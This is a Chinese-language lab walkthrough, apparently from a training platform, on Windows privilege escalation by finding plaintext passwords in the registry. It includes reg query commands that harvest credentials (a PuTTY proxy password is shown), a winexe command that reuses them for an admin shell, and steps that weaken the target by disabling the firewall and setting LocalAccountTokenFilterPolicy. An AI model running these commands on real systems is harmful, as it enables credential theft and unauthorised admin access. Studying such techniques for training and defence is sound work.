搜索注册表处的密码提权

(由于某些原因，有时密码会被存储在注册表中。)

可以在注册表中搜索包含 "password "的键和值。

reg query HKLM /f password /t REG_SZ /s  #本地机器注册表项
reg query HKCU /f password /t REG_SZ /s #当前用户注册表项

我们可以手动验证这些：(查询注册表)

reg query "HKLM\\Software\\Microsoft\\Windows NT\\CurrentVersion\\winlogon"

运行结果

C:\\Users\\user\\Desktop>reg query "HKLM\\Software\\Microsoft\\Windows NT\\CurrentVersion\\winlogon"
reg query "HKLM\\Software\\Microsoft\\Windows NT\\CurrentVersion\\winlogon"

HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows NT\\CurrentVersion\\winlogon
    AutoRestartShell    REG_DWORD    0x1
    Background    REG_SZ    0 0 0
    CachedLogonsCount    REG_SZ    10
    DebugServerCommand    REG_SZ    no
    DefaultDomainName    REG_SZ    
    DefaultUserName    REG_SZ    admin
    DisableBackButton    REG_DWORD    0x1
    EnableSIHostIntegration    REG_DWORD    0x1
    ForceUnlockLogon    REG_DWORD    0x0
    LegalNoticeCaption    REG_SZ    
    LegalNoticeText    REG_SZ    
    PasswordExpiryWarning    REG_DWORD    0x5
    PowerdownAfterShutdown    REG_SZ    0
    PreCreateKnownFolders    REG_SZ    {A520A1A4-1780-4FF6-BD18-167343C5AF16}
    ReportBootOk    REG_SZ    1
    Shell    REG_SZ    explorer.exe
    ShellCritical    REG_DWORD    0x0
    ShellInfrastructure    REG_SZ    sihost.exe
    SiHostCritical    REG_DWORD    0x0
    SiHostReadyTimeOut    REG_DWORD    0x0
    SiHostRestartCountLimit    REG_DWORD    0x0
    SiHostRestartTimeGap    REG_DWORD    0x0
    Userinit    REG_SZ    C:\\Windows\\system32\\userinit.exe,
    VMApplet    REG_SZ    SystemPropertiesPerformance.exe /pagefile
    WinStationsDisabled    REG_SZ    0
    scremoveoption    REG_SZ    0
    DisableCAD    REG_DWORD    0x1
    LastLogOffEndTimePerfCounter    REG_QWORD    0x236f172d
    ShutdownFlags    REG_DWORD    0x7
    AutoAdminLogon    REG_SZ    0
    AutoLogonSID    REG_SZ    S-1-5-21-3025105784-3259396213-1915610826-1001
    LastUsedUsername    REG_SZ    admin

HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows NT\\CurrentVersion\\winlogon\\AlternateShells
HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows NT\\CurrentVersion\\winlogon\\GPExtensions
HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows NT\\CurrentVersion\\winlogon\\UserDefaults
HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows NT\\CurrentVersion\\winlogon\\AutoLogonChecked
HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows NT\\CurrentVersion\\winlogon\\VolatileUserMgrKey

C:\\Users\\user\\Desktop>

C:\\Users\\user\\Desktop>reg query "HKCU\\Software\\SimonTatham\\PuTTY\\Sessions" /s
reg query "HKCU\\Software\\SimonTatham\\PuTTY\\Sessions" /s

HKEY_CURRENT_USER\\Software\\SimonTatham\\PuTTY\\Sessions\\BWP123F42
    ProxyUsername    REG_SZ    admin
    ProxyPassword    REG_SZ    password123

C:\\Users\\user\\Desktop>root@ip-10-10-138-20:~/Desktop#

在Kali上，使用winexe命令来生成一个以管理员权限运行的命令提示符（用你找到的密码更新）。

winexe -U 'admin%password123' //10.10.243.221 cmd.exe

针对winexe的连接报错

Win7上修改
1.关闭防火墙；
2.Win+R>secpol.msc >本地策略>安全选项>网络访问:本地帐户的共享和安全模型：经典-对本地用户进行身份验证，不改变其本来身份；
3.以管理员身份执行cmd，输入以下命令：reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\system" /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f